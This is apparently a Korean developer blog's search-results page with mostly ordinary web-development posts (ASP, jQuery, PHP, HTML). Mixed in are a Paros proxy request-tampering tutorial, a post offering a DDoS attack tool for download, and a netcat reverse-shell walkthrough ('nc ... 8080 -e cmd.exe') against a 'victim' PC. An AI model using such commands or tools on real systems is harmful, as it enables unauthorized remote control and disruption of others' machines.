Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2011/11/12 paros-3.2.13-win.exe - Paros (웹프록시) 사용법
  2. 2011/11/12 디도스 공격 툴 5.3 12
  3. 2011/11/12 nc,exe 를 이용한 윈도우 시스템 해킹
  4. 2011/11/09 Microsoft® SQL Server® 2008 Express with Advanced Services 입니다.
  5. 2011/11/09 asp용 JSON 라이브러리
  6. 2011/11/09 [ASP] imagemagick 사용법 - 바탕 그림에 글자 쓰기
  7. 2011/11/09 입력한 내용에 맞는 체크박스만 보여주기
  8. 2011/11/09 jQuery each 거꾸로 반환하기
  9. 2011/11/09 실시간 검색어 순위 순서대로 보여주기 1
  10. 2011/11/09 jquery를 이용한 오른쪽 퀵메뉴
  11. 2011/11/08 로그인 없이 파일 다운로드 받으세요.! 6
  12. 2011/11/08 avi => svi 확장자명 바꾸기
  13. 2011/11/03 android-x86-3.2-RC2-tegav2.iso - 안드로이드 OS 2
  14. 2011/11/03 웹표준에 관한 타입 선언
  15. 2011/11/03 textarea 글자수 카운트 1
  16. 2011/11/03 모바일로 접속했을때는 모바일 전용 페이지로 리다이렉트 시키거가
  17. 2011/11/01 JQuery - 제이쿼리 1.7 버전이 릴리즈 되었네요
  18. 2011/11/01 아웃록 서명 설정하기. 1
  19. 2011/11/01 저렴한 도메인 등록방법 웹표준
  20. 2011/10/31 엑셀 다운시 스타일,함수 적용하는 방법
  21. 2011/10/27 블로그 상위노출 기준과 블로그 상위노출 방법
  22. 2011/10/24 스타 맵핵 1.16.1
  23. 2011/10/24 윈도우용 gvim 에디터에서 새 탭으로 파일 열기.
  24. 2011/10/24 토렌트 검색기 소스
  25. 2011/10/24 [보안] 파일업로드와 관련된 보안 정리
  26. 2011/10/23 URL에서 특수문자 오류나는 것 처리하기(escape, unescape)
  27. 2011/10/23 [보안] 악성 스크립트 쉘 체크하기
  28. 2011/10/23 khtml 이용하여 URL 로 부터 스크린샷 얻어 저장하기
  29. 2011/10/23 [Win2003]CDO.Message.1 오류 80070005 액세스가 거부되었습니다.
  30. 2011/10/23 에디트 플러스(editplus)용 zen coding

이 프록시 툴을 이용하여 중간에 요청 데이터를 볼 수 있고 또한 수정하여 요청할 수도 있습니다.
바로 이런 방식으로 데이터를 변조하게 되는 것입니다
.

그럼 프록시 툴 중 대표적인 두 가지를 소개 합니다.

[1] Paros

1. 개요

현재 가장 많이 쓰이는 프록시 툴이라 할 수 있습니다.

인터페이스가 상당히 직관적이며 조작 역시 편리 합니다.

아래의 주소에서 다운 받을 수 있습니다.

http://www.parosproxy.org/download.shtml


 

2. 설치

파로스 툴은 JVM 환경에서 돌아 갑니다.

즉 운영체제에 맞는 JDK 를 설치 하셔야 합니다.
JDK 다운로드 http://www.oracle.com/technetwork/java/javase/downloads/index.html
그리고 Paros 를 설치 하면 됩니다.

3. 환경 설정

a. 프록시 포트 확인 하기

Paros 를 웹 프록시를 사용 하려면 우선 Paros 의 포트를 확인 해야 합니다

아래와 같이 Tool > Option 메뉴로 이동하시면 옵션 창이 나옵니다. Local proxy 부분에 8080 포트가 웹 프록시로 사용할 포트가 됩니다.

그리고 SSL 통신은 8443 포트를 사용합니다.
이 포트를 사용해도 되고 변경하여도 됩니다.

사용자 삽입 이미지


b.
웹 브라우저 프록시 설정하기

위에서 Paros의 통신 포트를 확인 하였습니다.
이번에는 내 컴퓨터가 인터넷을 이용할 때 프록시로 Paros 를 사용하겠다고 명시 해야 합니다.

아래와 같이 IE 에서 도구 > 인터넷 옵션 > 연결 > LAN 설정으로 들어가서

프록시 주소와 포트를 지정 해 줍니다.

사용자 삽입 이미지

Paros 가 로컬에 있고 8080 포트를 사용하기 때문에 위와 같이 설정 합니다.

드디어 프록시 설정이 완료 되었습니다. 이제부터 웹 사이트 서핑시 Paros 를 로컬 프록시로 사용할 수 있게 되었습니다.

3. Paros 사용하기

기본적으로 Paros 는 웹 요청과 응답 사이에 클라이언트와 서버가 주고 받은 패킷들에 대한 Viewing 을 제공합니다.
아래 화면은 mkex.pe.kr 사이트에 접속할 때 주고 받은 요청/응답 메시지 입니다.

사용자 삽입 이미지

요청 데이터는 Request , 응답 데이터는 Response. 탭에 나타납니다

4. 요청 중간에 개입 하기

이제 본격적으로 Paros 를 사용해서 웹 서버와 통신 중가에 끼어 들어 데이터를 보고 변조 하는 방법에 대해 알아 봅니다.

사용자 삽입 이미지

위 그림을 보시면 Trap 이 바로 이 역할을 할 수 있게 합니다.

중간에 Trap request, Trap response 를 체크 하면 요청/응답에 대한 패킷을 정지하여 데이터를 보고 변경할 수 있게 합니다. 요청 흐름은 Continue 버턴을 통해서 하나하나 이루어 집니다.

이 두 체크를 해제 하면 요청과 응답은 한번에 이루어 지지만 이것이 체크되어 있으면 요청과 응답은 항상 Continue 를 클릭할 때 마다 순차적으로 이루어 집니다.

데이터 변조는 이런 식으로 이루어 집니다. 위 그림에서 여러 HTTP 헤더가 보이는데 이 중 일부 값을 변경하여 요청을 하는 방식 입니다.

2011/11/12 15:51 2011/11/12 15:51
디도스 공격 툴중에 가장 많이 사용된다는 툴입니다.  아무래도 이제는 인터넷에서 구매까지 할수 있게 되다보니 공격이 더 많아 질수 있겠습니다..

이미지 출처는 네이버 검색 하였습니다. 어리석은 장난으로 디도스 공격 하지 마시기 바랍니다. 네트워크 방해와 서비스를 방해하는 것도 범죄라는 사실을 아셔야 합니다..
사용자 삽입 이미지


비슷한 관련 툴도 함께 업로드 합니다.

2011/11/12 14:52 2011/11/12 14:52

필요한 도구 - 공격자 (HOST) 희생자 (GUEST)

nc.exe

사용자 삽입 이미지

1. 공격자 pc에서 nc -l -p 8080

을 입력후 대기한다

사용자 삽입 이미지

그리고 희생자 pc에서 nc xxx.xxx.xxx.xxx. 8080 -e cmd.exe 를 입력한다

여기서 IP는 공격자의 IP를 입력한다

사용자 삽입 이미지

다시 공격자 pc로 와서 쉘을 확인하면

그림과 같이 접속되서 cmd 명령이 실행되어있음을 보여준다

사용자 삽입 이미지


희생자 pc에서 폴더생성도 가능하다


사용자 삽입 이미지

보시다시피 mkdir 로 폴더생성하면 희생자 pc 쪽에서 폴더가 생성됨을 볼수있다



2011/11/12 14:45 2011/11/12 14:45

아티보드로 홈페이지를 제작하면서 SQL 서버에 접속해서 작업을 할 경우가 자주 있는데요

퀴리분석기로 들어가서 모든작업이 가능하긴 하지만 가끔은 EM (엔터프라이즈관리자) 도 사용해야할 경우가 있지요

이때 편리한 프로그램을 소개합니다
Microsoft® SQL Server® 2008 Express with Advanced Services 라는 것으로 인터페이스는 SQL2008 를
닮았으며 SQL 2008 처럼 퀴리분석기과 EM 이 같이 합쳐진듯한 느낌의 인터페이스 입니다

무료로 마이크로소프트에서 배포하는 프로그램입니다


Microsoft SQL Server 2008 Express with Tools는 사용이 용이한 SQL Server Express 데이터 플랫폼의 무료 버전입니다. 이 버전에는 웹 또는 로컬 데스크톱용으로 강력한 데이터 기반 응용 프로그램을 더욱 손쉽게 개발할 수 있는 그래픽 관리 도구가 포함되어 있습니다.

개요

Microsoft SQL Server 2008 Express with Tools는 그래픽 관리 도구인 SQL Server Management Studio (SMSS) Express가 포함되어 있는 사용이 용이한 SQL Server Express의 무료 버전입니다. SQL Server 2008 Express는 다양한 기능, 데이터 보호 및 빠른 성능을 제공하며 소규모 서버 응용 프로그램과 로컬 데이터 저장소에 적합합니다.

응용 프로그램의 포함된 일부로 무료 다운로드, 배포 및 재배포가 가능한 SQL Server Express with Tools를 통해 데이터 기반 응용 프로그램을 쉽고 빠르게 개발하고 관리할 수 있습니다.

시스템 요구 사항


  • 지원하는 운영 체제:Windows Server 2003 Service Pack 2;Windows Server 2008;Windows Vista;Windows Vista Service Pack 1;Windows XP Service Pack 2;Windows XP Service Pack 3
    • 32비트 시스템: Intel 또는 호환 가능한 1GHz 이상의 프로세서가 장착된 컴퓨터(2GHz 이상 권장, 단일 프로세서만 지원됨)
    • 64비트 시스템: 1.4 GHz 이상의 프로세서(2GHz 이상 권장, 단일 프로세서만 지원됨)
    • 최소 512MB RAM(1GB 이상 권장)
    • 1GB의 여유 하드 디스크 공간

    참고: 이 릴리스에서는 Windows XP Embedded Edition은 지원하지 않습니다.

    참고: SQL Server Express를 설치하려면 컴퓨터에 대한 관리 권한이 있어야 합니다.

    SQL Server Express with Tools를 설치하기 전에 릴리스 정보추가 정보를 읽는 것이 좋습니다.

    1단계: Microsoft .Net Framework 3.5 SP1을 다운로드하고 설치합니다.

    2단계: Windows Installer 4.5를 다운로드하고 설치합니다.

    3단계: Windows PowerShell 1.0을 다운로드하고 설치합니다.

    참고: Windows Powershell 1.0 설치에 대한 자세한 내용은 다음 기술 자료 문서를 참조하십시오.

  • 926139: Windows Server 2003 및 WindowsXP 용 PowerShell 1.0 영어 설치 패키지
  • 926140: Windows Server 2003 및 Windows XP용 PowerShell 1.0 다국어 설치 패키지
  • 926141: Windows Server 2003 및 Windows XP용 PowerShell 1.0 MUI(Multilingual User Interface) 언어 팩
  • 928439: Windows Vista용 Windows PowerShell 1.0 설치 패키지(모든 언어 포함)
  • 4단계: 이 페이지 뒷부분의 적절한 링크를 클릭하여 SQL Server 2008 Express with Advanced Services를 다운로드합니다. 즉시 설치를 시작하려면 실행을 클릭하고, 나중에 SQL Server Express를 설치하려면 저장을 클릭합니다.

    2011/11/09 18:19 2011/11/09 18:19
    jQuery.ajax 로 JSON 사용시 euc-kr등에서 유니코드 문자 안깨지게 처리하는게 귀찮아서 만들었습니다

    대충 아래처럼 씁니다

    <!--#include file="json_disp.asp"-->
    <%
    Function AjaxTest1(result)
    result.Add "ip", Request.ServerVariables("REMOTE_ADDR")

    AjaxTest1 = True
    End Function

    Set json = new JsonDispatcher
    Call json.AcceptParamValue("AjaxTest1", "mode", "test1")
    %>
    <script type="text/javascript">
    $(function(){
    $.post('test.asp',{mode:'test1'},function(result){
    alert(result.ip);
    },'json');
    });
    </script>
    2011/11/09 17:50 2011/11/09 17:50
    아래 소스는 렌터카 회사에서 차량 대여 확인서를 발급하기 위해서 만든 소스이다.
    각각의 글 내용들을 그림으로 만든 후 바탕 그림과 합성을 하는 방법을 사용한다. (공식 사이트에서도 같은 방법을 쓴다.)

    Dim objImg
    Set objImg = Server.CreateObject("ImageMagickObject.MagickImage.1")
    '차종
    objImg.Convert "-background=white","-fill=black","-font=Malgun-Gothic","-pointsize=28","-size=800x","caption:차종",server.mappath("차종경로")
    '차량번호
    objImg.Convert "-background=white","-fill=black","-font=Malgun-Gothic","-pointsize=28","-size=800x","caption:차량번호",server.mappath("차량번호경로")
    '확인서 내용
    objImg.Convert "-background=white","-fill=black","-font=Malgun-Gothic","-pointsize=28","-size=900x","caption:확인서 내용, 엔터는 vbcrlf를 쓰거나 \n를 쓸 수 있다. 사용법은 각각 asp와 자바스크립트에 준한다.",server.mappath("확인서 내용경로")
    '발급일
    objImg.Convert "-background=white","-fill=black","-font=Malgun-Gothic","-pointsize=28","-size=300x","-gravity=East","caption:발급일",server.mappath("발급일경로")
    '발급자
    objImg.Convert "-background=white","-fill=black","-font=Malgun-Gothic","-pointsize=28","-size=800x","-gravity=East","caption:발급자",server.mappath("발급자경로")

    '차종 합성
    objImg.composite "-geometry=+270+295",server.mappath("차종경로"),server.mappath("원본경로"),server.mappath("확인서경로")
    '차량번호 합성
    objImg.composite "-geometry=+270+330",server.mappath("차량번호경로"),server.mappath("확인서경로"),server.mappath("확인서경로")
    '확인서 내용 합성
    objImg.composite "-geometry=+90+520",server.mappath("확인서 내용경로"),server.mappath("확인서경로"),server.mappath("확인서경로")
    '발급일 합성
    objImg.composite "-geometry=+700+1100",server.mappath("발급일경로"),server.mappath("확인서경로"),server.mappath("확인서경로")
    '발급자 합성
    objImg.composite "-geometry=+130+1270",server.mappath("발급자경로"),server.mappath("확인서경로"),server.mappath("확인서경로")
    Set objImg = Nothing


    1. 엔터는 vbcrlf를 쓰거나 \n를 쓸 수 있다. 사용법은 각각 asp와 자바스크립트에 준한다.
    2. gravity는 정렬을 나타낸다. 8방위(NorthWest, North, NorthEast, West, Center, East, SouthWest, South, SouthEast)를 사용한다.
    3. geometry는 왼쪽 제일 위를 0,0으로 하는 좌표다.                                       
    2011/11/09 17:46 2011/11/09 17:46
    체크 박스 옵션이 많아져서 원하는 걸 찾기 어려울 때 사용하시면 됩니다.

    몇 번 언급한 적이 있는 Coffeescript를 사용했습니다.



    [index.html]

    <!DOCTYPE html>
    <html xmlns='http://www.w3.org/1999/xhtml'>
    <head>
    <title>Checkbox Filter</title>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <link href="stylesheet.css" media="screen" rel="stylesheet" type="text/css" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
    <script src="http://jashkenas.github.com/coffee-script/extras/coffee-script.js" type="text/javascript"></script>
    <script src="application.coffee" type="text/coffeescript"></script>
    </head>
    <body>
    <div id="container">
    <form method="post" action="/">
    <label for="input-filter">Filter:</label>
    <input id="input-filter" type="text" name="filter" />
    <ul>
    <li>
    <input id="id_1" type="checkbox" name="ids[]" value="1" />
    <label for="id_1">#1 - AA</label>
    </li>
    <li>
    <input id="id_2" type="checkbox" name="ids[]" value="2" />
    <label for="id_2">#2 - BA</label>
    </li>
    <li>
    <input id="id_3" type="checkbox" name="ids[]" value="3" />
    <label for="id_3">#3 - AB</label>
    </li>
    <li>
    <input id="id_4" type="checkbox" name="ids[]" value="4" />
    <label for="id_4">#4 - BB</label>
    </li>
    <li>
    <input id="id_5" type="checkbox" name="ids[]" value="5" />
    <label for="id_5">#5 - ABC</label>
    </li>
    </ul>
    </form>
    </div>
    </body>
    </html>


    [stylesheet.css]

    body {
    font-size: 12px;
    background: #FFF;
    color: #333;
    margin: 0;
    }

    #container {
    margin: 10px auto;
    width: 600px;
    padding: 10px;
    }


    [application,coffee]

    $ ->
    $('form').submit ->
    false

    $('input[name=filter]').live 'keyup', ->
    query = $(this).val().toLowerCase()
    if $(query).is(':blank')
    $('form li').show()
    else
    $('form li').each (i, item) ->
    text = $(item).find('label').text().toLowerCase()
    if text.search(query) < 0
    $(item).hide()
    else
    $(item).show()
    2011/11/09 17:33 2011/11/09 17:33
    <ul>
    <li>Item 1</li>
    <li>Item 2</li>
    <li>Item 3</li>
    <li>Item 4</li>
    <li>Item 5</li>
    </ul>
    $($("li").get().reverse()).each(function() { });

    출처 : http://stackoverflow.com/questions/1394020/jquery-each-backwards
    2011/11/09 17:31 2011/11/09 17:31
    <!DOCTYPE html>
    <html xmlns='http://www.w3.org/1999/xhtml'>
    <head>
    <title>Real-time Rank</title>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <link href="stylesheet.css" media="screen" rel="stylesheet" type="text/css" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
    <script src="application.js" type="text/javascript"></script>
    </head>
    <body>
    <div id="content">
    <dl id="rank-list">
    <dt>실시간 급상승 검색어</dt>
    <dd>
    <ol>
    <li><a href="#">1 순위</a></li>
    <li><a href="#">2 순위</a></li>
    <li><a href="#">3 순위</a></li>
    <li><a href="#">4 순위</a></li>
    <li><a href="#">5 순위</a></li>
    <li><a href="#">6 순위</a></li>
    <li><a href="#">7 순위</a></li>
    <li><a href="#">8 순위</a></li>
    <li><a href="#">9 순위</a></li>
    <li><a href="#">10 순위</a></li>
    </ol>
    </dd>
    </dl>
    </div>
    </body>
    </html>


    stylesheet.css

    body {
    font-size: 12px;
    background: #FFF;
    color: #333;
    margin: 0;
    }

    #content {
    margin: 20px;
    padding: 10px;
    background: #393;
    }

    #rank-list a {
    color: #FFF;
    text-decoration: none;
    }

    #rank-list a:hover {
    text-decoration: underline;
    }

    #rank-list {
    overflow: hidden;
    width: 160px;
    height: 20px;
    margin: 0;
    }

    #rank-list dt {
    display: none;
    }

    #rank-list dd {
    position: relative;
    margin: 0;
    }

    #rank-list ol {
    position: absolute;
    top: 0;
    left: 0;
    margin: 0;
    padding: 0;
    list-style-type: none;
    }

    #rank-list li {
    height: 20px;
    line-height: 20px;
    }


    application.js

    $(function() {
    var count = $('#rank-list li').length;
    var height = $('#rank-list li').height();

    function step(index) {
    $('#rank-list ol').delay(2000).animate({
    top: -height * index,
    }, 500, function() {
    step((index + 1) % count);
    });
    }

    step(1);
    });

    2011/11/09 17:29 2011/11/09 17:29
    <div style='position:absolute;'>퀵메뉴 내용</div> 형식이 아닌
    //-----------------------------------
    <div style='position:relative or absolute'>
    <div style='position:absolute;'>퀵메뉴 내용</div>
    </div>
    이동하는 간단 오른쪽 퀵메뉴
    //---------------------------------
    //테스트 예제
    <table height='2000'>
    <tr>
    <td width='100'>
    </td>
    <td valign=top><BR><BR><BR><BR><BR>
    <div style='position:relative'><div style='position:absolute;border:1px solid #ccc;' id='test'>ffffffff</div></div>
    </td>
    </tr>
    </table>
    <scRIPT LANGUAGE="Javascript">
    <!--
    //테스트 처럼 absolute 어미로 relative , absolute 가 있어야 합니다
    var top_y_limit = 0 ; //오른쪽 이동 레이어 값 정의
    var fix_top = 20 ; //상단에서 어느정도 떨어질것인지 정의
    var move_speed = 800; // 이동 감지 시간 0.8초(너무 짧으면 민감함)
    var id_value = 'test'; //아이디 값 정의
    jQuery(document).ready(function(){
    //----------------------------------
    //이동 레이어 정의
    var offset = jQuery("#"+id_value).offset(); //레이어 위치 정의
    top_y_limit = offset.top-fix_top; //항상 상단보다 fix_top 아래에서
    var rightmenu_t = setInterval(rightmenu_move,move_speed); //오른쪽 위아래이동 적용
    //----------------------------------
    });
    //----------------------------------
    //오른쪽 이동 함수를 정의
    function rightmenu_move()
    {
    var scrolltop = jQuery(window).scrollTop();
    if(scrolltop > top_y_limit){ jQuery("#"+id_value).animate({"top": (parseInt(scrolltop)-parseInt(top_y_limit))+"px"},"slow");}
    else {jQuery("#"+id_value).animate({"top": "0px"},"slow"); }
    }
    //----------------------------------
    //-->
    </scRIPT>
    </BODY>
    </HTML>
    2011/11/09 17:27 2011/11/09 17:27

    http://smdisk.com/ 사이트에 접속 하시면 로그인 없이 파일을 받을수 있습니다.

    솔루션 판매 목적으로 개발되어서..

    파일 서버는 집에다 놓고 하는거라 . 100 명 이상 동시 다운로드 받으면 속도가 떨어지는 현상이 발생합니다.

    파일서버를 3대로 분산 하긴 했으나 그래도 100명 이상 동시 다운로드 받으면 속도가 떨어 지는 현상이 발생 하네요.

    사용자 삽입 이미지

    2011/11/08 06:31 2011/11/08 06:31

    [소개글]

    곰인코더 말고 바닥이나 그외 기타등등의 인코더로 인코딩시

    avi확장자로 나온 파일을 svi확장자로 바꿔주는 실행파일입니다.

    귀찮아서 만들어 놓은건데 쓸만할겁니다.

    [사용방법]

    인코딩된 avi파일이 있는곳에 svi.bat를 넣고 실행 하세요.

    [주의]

    확장자명만 바꾸는겁니다.원본파일 확장자만 바꾸고 P2넣었는데 안돌아 간다고 하지말아주세요

    기본 명령어는 ren *.avi *.svi    입니다.
    ren *.avi *.svi  
    위 내용을 이름.bat 파일로 저장후 avi 있는 폴더에 넣고 실행 하면 확장자가 변경 됩니다.
    exe 파일로 업로드 합니다.


    2011/11/08 05:38 2011/11/08 05:38
    WMware 에 안드로이드 OS 를 설치 하려고 다운 받으려 하는데 속도가 너무 느려 .

    이곳에 업로드 합니다.

    2011년11월11일 기준으로 최신 버전입니다. 이후 버전을 받으시려면

    http://code.google.com/p/android-x86/ 다운받으시면 됩니다.


    WMware 는 여기 블로그에서 WMware 검색하면 최신버전 있습니다.


    카카오톡 문자가 올때. 답답해서 . ~~~

    카카오톡 아이디는 openkr 입니다. ^^


    2011/11/03 09:52 2011/11/03 09:52

    DOCTYPE은 현재 웹 문서가 어떤 HTML 버전에 맞게 작성되었는지를 알려주는 부분입니다. 문서가 HTML 표준안을 따르는지, XHTML 표준안을 따르는지, 그리고 표준안 중에서도 권장 표준안(strict)을 지키는지, 완화된 표준안(Traditional)을 지키는지에 따라 특정 태그를 사용할 수 없기도 하고, 처음 예상했던 것과 다른 결과가 나타나기도 합니다.

    DOCTYPE을 따로 선언하지 않으면 브라우저에서 HTML 문서로 인식하기 때문에 사용하지 않는 경우도 많지만, XHTML 언어를 사용할 경우에는 반드시 선언해 주어야 의도한대로 웹 문서를 표시할 수 있습니다.

    :namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

    가장 기본적인 문서 타입 선언은 다음과 같습니다.

    ● HTML 4.01 호환 모드 : 가장 최근의 CSS 규격을 따르며 자유롭게 요소들을 배치할 수 있습니다. 프레임은 사용할 수 없습니다. 따로 지정하지 않을 경우 브라우저에서는 이 형식으로 인식합니다.

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/html4/loose.dtd">

    ● HTML 4.01 엄격 모드 : 권장하지 않는 요소들은 전혀 사용할 수 없고 요소를 배치할 때 규칙을 지켜야 합니다. HTML 문법에 맞는 가장 이상적인 문서를 만들 수 있습니다.

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

    ● XHTML 1.0 호환 모드 : 프레임셋을 사용할 수 있지만 파이어폭스에서는 프레임을 사용할 수 없음

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    2011/11/03 04:40 2011/11/03 04:40
    트위터처럼 140자 제한이 있는 경우, 남은 글자수를 보여줍니다.

    0보다 아래로 떨어지면 붉은 글씨로 바뀌고 submit을 할 수 없게 했습니다.


    index.html

    <!DOCTYPE html>
    <html xmlns='http://www.w3.org/1999/xhtml'>
    <head>
    <title>Input Counter</title>
    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <link href="stylesheet.css" media="screen" rel="stylesheet" type="text/css" />
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js" type="text/javascript"></script>
    <script src="application.js" type="text/javascript"></script>
    </head>
    <body>
    <div id="container">
    <form action="index.html" method="POST">
    <textarea></textarea>
    <span class="input-counter"></span>
    <input type="submit" id="input-submit" value="등록" />
    </form>
    </div>
    </body>
    </html>


    stylesheet.js

    body {
    font-size: 12px;
    background: #FFF;
    color: #333;
    margin: 0;
    }

    #container {
    margin: 10px auto;
    width: 500px;
    padding: 10px;
    background: #CCC;
    }

    form {
    overflow: hidden;
    height: 100%;
    }

    textarea {
    display: block;
    width: 99%;
    height: 5.0em;
    margin-bottom: 0.5em;
    }

    span.input-counter {
    float: left;
    font-weight: bold;
    color: #000;
    }

    span.input-counter.disabled {
    color: #F00;
    }

    input#input-submit {
    float: right;
    }


    application.js

    $(function() {
    var maxLength = 140;

    function updateInputCount() {
    var textLength = $('textarea').val().length;
    var count = maxLength - textLength;
    $('span.input-counter').text(count);
    if (count < 0) {
    $('span.input-counter').addClass('disabled');
    $('input#input-submit').prop('disabled', true);
    } else {
    $('span.input-counter').removeClass('disabled');
    $('input#input-submit').prop('disabled', false);
    }
    }

    $('textarea')
    .focus(updateInputCount)
    .blur(updateInputCount)
    .keypress(updateInputCount);
    window.setInterval(updateInputCount, 100);

    updateInputCount();
    });
    2011/11/03 04:39 2011/11/03 04:39
    모바일로 접속했을때는 모바일 전용 페이지로 리다이렉트 시키거가 
    모바일 전용 view 페이지를 보여주고싶을때 확인하는 부분입니다.
    <?php
    if (preg_match('/(iPhone|Android|iPod|BlackBerry|IEMobile|HTC|Server_KO_SKT|SonyEricssonX1|SKT)/', 
    $_SERVER['HTTP_USER_AGENT']) ) {
        define('BROWSER_TYPE', 'M'); // mobile	
    } else {
        define('BROWSER_TYPE', 'W'); // web (iPad 는 웹으로 간주)
    }
    if(BROWSER_TYPE == "M")
    {
    	// 모바일 페이지
    }else
    {
    	// 웹페이지
    }
    ?>
    2011/11/03 04:38 2011/11/03 04:38
    지난 11월 3일 제이쿼리 1.7 버전이 릴리즈 되었네요
    간략하게 정리한 개선 또는 삭제사항은 아래와같아요.

    http://blog.jquery.com/2011/11/03/jquery-1-7-released/


    추가 & 개선된 사항

    .on() .off() API 추가 (bind() 랑 비슷한거같은데요?)


    $('a').bind('click', myHandler);
    $('a').on('click', myHandler);

    $('form').bind('submit', { val: 42 }, fn);
    $('form').on('submit', { val: 42 }, fn);

    $(window).unbind('scroll.myPlugin');
    $(window).off('scroll.myPlugin');

    $('.comment').delegate('a.add', 'click', addNew);
    $('.comment').on('click', 'a.add', addNew);

    $('.dialog').undelegate('a', 'click.myDlg');
    $('.dialog').off('click.myDlg', 'a');

    $('a').live('click', fn);
    $(document).on('click', 'a', fn);

    $('a').die('click');
    $(document).off('click', 'a');


    Delegated 이벤트의 성능 향상 (속도말하는거같아요)
    IE6/IE7/IE8에서 HTML5의 더 나은 지원
    토글링 애니메이션의 직관적인 동작
    AMD(Asynchronous Module Definition) API 지원
    jQuery.Deferred 객체 확장
    jQuery.isNumeric() 추가 - 매개변수의 정수 여부 체크 함수                                       
    2011/11/01 12:21 2011/11/01 12:21
    출처 : http://webarty.com

    아웃룩 익스프레스를 실행하고 [도구] -> [옵션] 메뉴를 클릭합니다.
    옵션 페이지에서 [서명] 탭을 클릭합니다.
    서명 메뉴에서 [새로 만들기] 버튼을 클릭합니다.
    [보내는 모든 메시지에 서명 추가] 항목을 선택하고, 서명 편집 메뉴에서 파일을 체크 후 [찾아보기] 버튼을 클릭합니다.
    미리 만들어 놓은 TEXT 파일 또는 HTML 파일을 선택합니다. (HTML 파일의 경우 이미지의 경로는
    http://도메인/이미지경로/이미지파일로 하셔야 합니다.)
    서명파일 선택이 완료되면 확인 버튼을 클릭해서 종료 합니다.
    아래 화면은 서명 메뉴를 적용해서 메일을 발송 후 발송된 메일의 내용입니다.

    출처 : http://webarty.com
    2011/11/01 12:12 2011/11/01 12:12
    도메인 등록방법
    블로그를 운영하거나 홈페이지를 운영하면서 자신만의 도메인을 이용하는 분들이 많습니다. 물론 티스토리 사용자들은 "가비아"에서 도메인을 구입하고 2차주소로 쉽게 연결할 수 있습니다.국내에 웹아티를 포함해서 닷네임코리아 외에도 많은 도메인 업체가 있습니다. .com이나 co.kr, .net 등 주소마다 가격차이가 있지만 동일한 주소더라도 웹호스팅 업체마다 도메인 가격 차이가 있더군요.

    도메인(Domain)이란,
    쉽게 말하면 웹주소라 할 수 있으며, 유저들이 쉽게 원하는 사이트로 찾아갈 수 있도록 해 주는 것이 바로 도메인입니다. 실제 주소는 미국 정부기관 Internic에서 각 서버에 대해 숫자로 된 주소인 IP (ex. 123.45.56.178) 를 배정하는 것인데, 이런 숫자 형식의 주소는 일반 인터넷 유저들이 암기해 두었다가 필요시 일일히 찾아가기가 힘이 들기 때문에 문자로 된 일정 형식의 주소(도메인, www.0000.com 등)를 말합니다.

    도메인 구매나 등록은 후이즈, 웹아티, 닷네임코리아와 같은 도메인 등록 대행업체에서 할 수 있으며 1년, 몇년 단위로 등록이 가능합니다. 우리나라의 경우 등록할때 서류가 필요하지는 않고 원하는 주소가 선점되지 않았다면 등록비용을 결제하면 도메인 구매절차가 끝납니다. 사실 원하는 주소(기억하기 쉽고 자신의 블로그나 홈페이지와 연관된 주소)들 중에서 com이나 co.kr 또는 .net은 대부분 선점되었다고 보면 됩니다. 물론 필요하다면 미리 선점한 사람에게 돈을 주고 도메인을 구매하면 됩니다.(도메인을 선점해서 거액을 받고 파는 것을 직업으로 삼은 분들도 있습니다)

    이 글에서는 웹아티에서 도메인을 구매하고 등록하는 과정을 설명하고자 합니다. 웹아티 외에도 후이즈나 닷네임코리아 등 많은 웹호스팅 업체가 있으니 선택해서 도메인을 구매하시면 될 겁니다. 웹아티 바로가기를 클릭해서 웹아티 홈페이지에 회원가입을 하세요.

    사용자 삽입 이미지

    예를 들어 "youngsam"라는 주소를 검색해보니 com, co.kr, kr 은 이미 등록된 주소네요. com, co.kr, kr 주소는 포기하고 youngsam.tv 구매해도 될 거 같네요. 일단 맘에 드는 주소를 검색해서 등록이 가능하다면 바로 등록 버튼을 클릭하면 됩니다.
    사용자 삽입 이미지
    사실 왠만한 주소의 닷컴(com)이나 닷넷(net), co.kr과 같은 주소는 대부분 선점되었다고 보셔야 할 겁니다. 원하는 주소를 검색해서 등록이 가능하다면 "바로 등록"버튼을 클릭하면 아래 이미지처럼 도메인 등록신청서가 나옵니다.상단에 있는 소유자정보란은 도메인 등록후 도메인 발급증부터 도메인 정보 조회시 나오는 정보이므로 틀린 부분이 있는지 충분히 확인해주세요.
    사용자 삽입 이미지
    도메인 취득전에 호스팅 서비스를 받았다면 타사의 네임서버 사용을 체크하고 네임서버 정보를 넣어줍니다. 다른 회사의 호스팅 서비스를 받지 않는다면 기본적으로 체크되어 있는 가비아 네임서버를 선택하시면 됩니다. 그리고 도메인이 만료되기 몇 달(보통 90일 전후로)전에 메일로 도메인 기한이 가까워지는 것을 알려줍니다. 도메인을 연장하실려면 다시 일정 금액을 기간이 완료되기 전에 납부하면 되는데 기간이 완료된 후에 다시 구매하면 몇 배의 금액이 더 추가됩니다.

    사용자 삽입 이미지

    도메인 등록신청서를 다 작성했다면 다음 단계인 "등록비용 결제"과정을 진행하면 됩니다. 아래 이미지처럼 별다른 어려움 없이 결재방법을 선택하고 결재를 완료하면 도메인 등록이 완료되었음을 알리는 글을 보게 될 겁니다.
    2011/11/01 12:04 2011/11/01 12:04
    틀고정 및 숫자 콤마적용,합계처리를 하는 방법입니다.
    --------------------------------------------------------------------------------------------

    <html xmlns:x='urn:schemas-microsoft-com:office:excel'>
    <meta http-equiv="Content-Type" content="application/vnd.ms-excel;charset=euc-kr">
    <meta http-equiv='cache-control' content='no-cache'>
    <meta http-equiv='pragma' content='no-cache'>
